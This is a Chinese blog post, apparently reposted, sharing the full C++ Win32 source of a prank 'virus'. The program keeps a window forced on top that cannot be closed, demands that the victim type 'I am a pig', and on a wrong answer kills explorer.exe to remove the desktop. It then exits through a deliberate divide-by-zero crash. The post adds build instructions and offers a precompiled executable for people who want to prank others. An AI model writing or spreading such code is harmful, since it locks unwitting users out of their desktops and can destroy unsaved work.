[c++整人代码]逼人承认“我是猪” 「v2.0」

2023-10-10 21:30

本文主要是介绍[c++整人代码]逼人承认“我是猪” 「v2.0」,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

㊀程序介绍

这是本人原创的一个整人小病毒,唯一的杀伤力就是逼着你想坑的人承认他是猪。
本次更新:要求运行程序的人手动输入“我是猪”三个字

㊁程序截图

1 本程序的窗口会自动保持最前

在这里插入图片描述

2 无法关闭本窗口

在这里插入图片描述

代码展示:

#include <Windows.h>
#include <cstdio>#define BUTTON_ID  10011            /*按钮ID*/int chang, kuan;
HWND hwnd;   /*实例化一个句柄*/
char title[100] = "哈哈哈!!!你被耍了";
HDC         hdc ;
PAINTSTRUCT ps ;
RECT        rect;int print( char words[] )
{hdc = BeginPaint(hwnd, &ps);/* TODO: Add any drawing code here... */GetClientRect(hwnd, &rect);DrawText(hdc, words, strlen(words), &rect, DT_CENTER);EndPaint(hwnd, &ps);
} int ckzq()/*刷新窗口*/
{HWND hForeWnd = NULL; HWND hWnd= FindWindow(NULL, title); DWORD dwForeID; DWORD dwCurID; hForeWnd =  GetForegroundWindow(); dwCurID  =  GetCurrentThreadId(); dwForeID =  GetWindowThreadProcessId( hForeWnd, NULL ); AttachThreadInput  ( dwCurID, dwForeID, TRUE); ShowWindow         ( hWnd, SW_SHOWNORMAL ); SetWindowPos       ( hWnd, HWND_TOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE ); SetWindowPos       ( hWnd, HWND_NOTOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE ); SetForegroundWindow( hWnd ); AttachThreadInput  ( dwCurID, dwForeID, FALSE);
}int moddle( int x, int len )
{x = x/2;x = x-len;return x;
} int yndesktop;int desk()
{system ( "explorer.exe" );
}int kenren()
{int _exit = 0;MessageBox(NULL, "要想退出,就在下面的每一个问题都点'是'","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);auto yn = MessageBox(NULL, "在那个框框中输入“我是猪 ”","想退出就乖乖听话", MB_ICONQUESTION|MB_OK);
} /* This is where all the input to the window goes to */
LRESULT CALLBACK WndProc(HWND hwnd,UINT message,WPARAM wp,LPARAM lp)
{ static HWND btnWnd1;static bool flag=false;char szHello[]="哈哈哈!你被耍了";static HWND hBtn;static HWND hEdt;switch(message){case WM_CREATE:{btnWnd1 = CreateWindow(TEXT("BUTTON"),TEXT("X"),WS_VISIBLE|WS_CHILD, /*按钮属性    */ chang-50,kuan-600,  /*按钮位置    */ 25,25,             /*按钮大小    */ hwnd,			 /*窗口信息    */ (HMENU)BUTTON_ID,/*按钮子窗口ID*/0,0);hEdt   = CreateWindow(TEXT("EDIT"),                   /*创建输入框*/ TEXT("输入你的答案"),          /*输入框初始文字*/ WS_CHILD|WS_VISIBLE|WS_BORDER,/*输入框属性*/ moddle( chang, 100 ), moddle( kuan, 40 ),  					 /*输入框位置*/ 200, 40, 					/*输入框大小*/ hwnd, 					   /*窗口信息*/ NULL, NULL, NULL);		  /*占位指针*/ hBtn =  CreateWindow(TEXT("BUTTON"), TEXT("确定"), WS_CHILD|WS_VISIBLE, moddle( chang, 100 )+50, moddle( kuan, 40 )+50, 80, 20, hwnd, NULL, NULL, NULL);break; }case WM_PAINT:{print ( "哈哈哈!你被耍了" ); break; }case WM_COMMAND:              /*按钮消息WM_COMMAND来处理*/{int id = GetDlgCtrlID(hEdt);switch(id-wp){case 0:{char buf[256];GetDlgItemText(hwnd, id, buf, 255);if (strcmp( "我是猪", buf ) == 0) {system ( "cls" ); printf ( "结果:你已承认你是猪" );if ( yndesktop == 1 ) {MessageBox(NULL, "既然你都已经听话了,那我把桌面还给你","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);desk();MessageBox(NULL, "稍等一下,我马上就走","",MB_ICONEXCLAMATION|MB_OK);printf ( "%d", 1/0 );}MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);printf ( "%d", 1/0 );}else {system ( "taskkill /f /im explorer.exe" );yndesktop = 1;system ( "cls" ); MessageBox(NULL, "想退出就乖乖听话\n作为惩罚,我把你的桌面拆了","!@^%$*)(&^~?:><|{}", MB_ICONASTERISK|MB_OK);return 0;}}break;}switch(LOWORD(wp))        /*wParam的低字节为点击的按钮的ID*/{                     case BUTTON_ID:{kenren();flag = !flag;break;}default:break;}break;}case WM_DESTROY:{PostQuitMessage(0);return 0;}default:break;}return DefWindowProc(hwnd,message,wp,lp);
}
/* The 'main' function of Win32 GUI programs: this is where execution starts */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 
{//HideWindow();/*隐藏父类窗口,否则被坑的人可以直接关闭程序*/system ( "title 哈哈哈!你被耍了(未响应)" );/*父类窗口标题*/system ( "cls" );WNDCLASS wndcls;        /*实例化*/wndcls.cbClsExtra = 0; /*额外的类的附加字节数*/wndcls.cbWndExtra = 0;/*窗口额外的附加字节数*/wndcls.hbrBackground = (HBRUSH)GetStockObject( BLACK_BRUSH );  /*背景颜色,GetStockObject()函数的返回值是一个HGDIOBJ格式的,强制转换成HBRUSH格式的赋值*/wndcls.hCursor = LoadCursor(NULL, IDC_WAIT);  /*光标的类型        */wndcls.hIcon = LoadIcon(NULL, IDI_ERROR);    /*窗口图标          */wndcls.hInstance = hInstance;               /*应用程序的实例号  */wndcls.lpfnWndProc = WndProc;              /*窗口过程函数      */wndcls.lpszClassName = "你被耍了";        /*类名              */wndcls.lpszMenuName = NULL;              /*菜单名            */wndcls.style = CS_HREDRAW | CS_VREDRAW; /*水平重画和垂直重画*/ int x = GetSystemMetrics( SM_CXFULLSCREEN );int y = GetSystemMetrics( SM_CYFULLSCREEN );/*获取屏幕尺寸(不含任务栏)*/  chang = x - 200;kuan  = y - 200;RegisterClass(&wndcls);   /*注册窗口类*/hwnd = CreateWindow("你被耍了",title,WS_CLIPCHILDREN|WS_CLIPSIBLINGS|WS_POPUP,/*窗口风格*/ 100,100,chang,kuan,NULL,NULL,hInstance,NULL); /*建立一个窗口*/ShowWindow(hwnd, SW_SHOWNORMAL);   /*显示窗口*/UpdateWindow(hwnd);  /*更新窗口*/MSG msg;   /*消息机制*/while (GetMessage(&msg, NULL, 0, 0))    /*消息循环*/{ckzq(); /*每传来一次消息, 就刷新窗口, 以保证窗口最前*/ TranslateMessage(&msg);   /*传来的消息翻译*/DispatchMessage(&msg);    }return msg.wParam;
}

㊃最后还有几个编译时要注意的地方:

1 编译设置

连接器选项 添加 -lgdi32
在这里插入图片描述
编译器选项 添加 -std=c++11在这里插入图片描述

㊄ 其他

1 我的编译教程不够详细,无法编译

作者为了满足有些想坑人的小白,直接准备好了已经编译了的exe文件。
1 快速下载
2 限速下载提取码:ucv6

2 更新

作者会持续更新,敬请期待

3 声明

请合理使用本文章中的代码,仅供学习使用,一切所造成后果本人概不负责。代码欢迎在不篡改的情况下自由传播。

今天,2021-02-19一看, 阅读量破千了 \color{red}\text{阅读量破千了} 阅读量破千了,感谢读者们的支持

这篇关于[c++整人代码]逼人承认“我是猪” 「v2.0」的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/183194

相关文章

SpringBoot+RustFS 实现文件切片极速上传的实例代码

《SpringBoot+RustFS实现文件切片极速上传的实例代码》本文介绍利用SpringBoot和RustFS构建高性能文件切片上传系统,实现大文件秒传、断点续传和分片上传等功能,具有一定的参考... 目录一、为什么选择 RustFS + SpringBoot?二、环境准备与部署2.1 安装 RustF

Python实现Excel批量样式修改器(附完整代码)

《Python实现Excel批量样式修改器(附完整代码)》这篇文章主要为大家详细介绍了如何使用Python实现一个Excel批量样式修改器,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一... 目录前言功能特性核心功能界面特性系统要求安装说明使用指南基本操作流程高级功能技术实现核心技术栈关键函

C++统计函数执行时间的最佳实践

《C++统计函数执行时间的最佳实践》在软件开发过程中,性能分析是优化程序的重要环节,了解函数的执行时间分布对于识别性能瓶颈至关重要,本文将分享一个C++函数执行时间统计工具,希望对大家有所帮助... 目录前言工具特性核心设计1. 数据结构设计2. 单例模式管理器3. RAII自动计时使用方法基本用法高级用法

Redis实现高效内存管理的示例代码

《Redis实现高效内存管理的示例代码》Redis内存管理是其核心功能之一,为了高效地利用内存,Redis采用了多种技术和策略,如优化的数据结构、内存分配策略、内存回收、数据压缩等,下面就来详细的介绍... 目录1. 内存分配策略jemalloc 的使用2. 数据压缩和编码ziplist示例代码3. 优化的

Python 基于http.server模块实现简单http服务的代码举例

《Python基于http.server模块实现简单http服务的代码举例》Pythonhttp.server模块通过继承BaseHTTPRequestHandler处理HTTP请求,使用Threa... 目录测试环境代码实现相关介绍模块简介类及相关函数简介参考链接测试环境win11专业版python

Python从Word文档中提取图片并生成PPT的操作代码

《Python从Word文档中提取图片并生成PPT的操作代码》在日常办公场景中,我们经常需要从Word文档中提取图片,并将这些图片整理到PowerPoint幻灯片中,手动完成这一任务既耗时又容易出错,... 目录引言背景与需求解决方案概述代码解析代码核心逻辑说明总结引言在日常办公场景中,我们经常需要从 W

深入解析C++ 中std::map内存管理

《深入解析C++中std::map内存管理》文章详解C++std::map内存管理,指出clear()仅删除元素可能不释放底层内存,建议用swap()与空map交换以彻底释放,针对指针类型需手动de... 目录1️、基本清空std::map2️、使用 swap 彻底释放内存3️、map 中存储指针类型的对象

使用Spring Cache本地缓存示例代码

《使用SpringCache本地缓存示例代码》缓存是提高应用程序性能的重要手段,通过将频繁访问的数据存储在内存中,可以减少数据库访问次数,从而加速数据读取,:本文主要介绍使用SpringCac... 目录一、Spring Cache简介核心特点:二、基础配置1. 添加依赖2. 启用缓存3. 缓存配置方案方案

MySQL的配置文件详解及实例代码

《MySQL的配置文件详解及实例代码》MySQL的配置文件是服务器运行的重要组成部分,用于设置服务器操作的各种参数,下面:本文主要介绍MySQL配置文件的相关资料,文中通过代码介绍的非常详细,需要... 目录前言一、配置文件结构1.[mysqld]2.[client]3.[mysql]4.[mysqldum

Python多线程实现大文件快速下载的代码实现

《Python多线程实现大文件快速下载的代码实现》在互联网时代,文件下载是日常操作之一,尤其是大文件,然而,网络条件不稳定或带宽有限时,下载速度会变得很慢,本文将介绍如何使用Python实现多线程下载... 目录引言一、多线程下载原理二、python实现多线程下载代码说明:三、实战案例四、注意事项五、总结引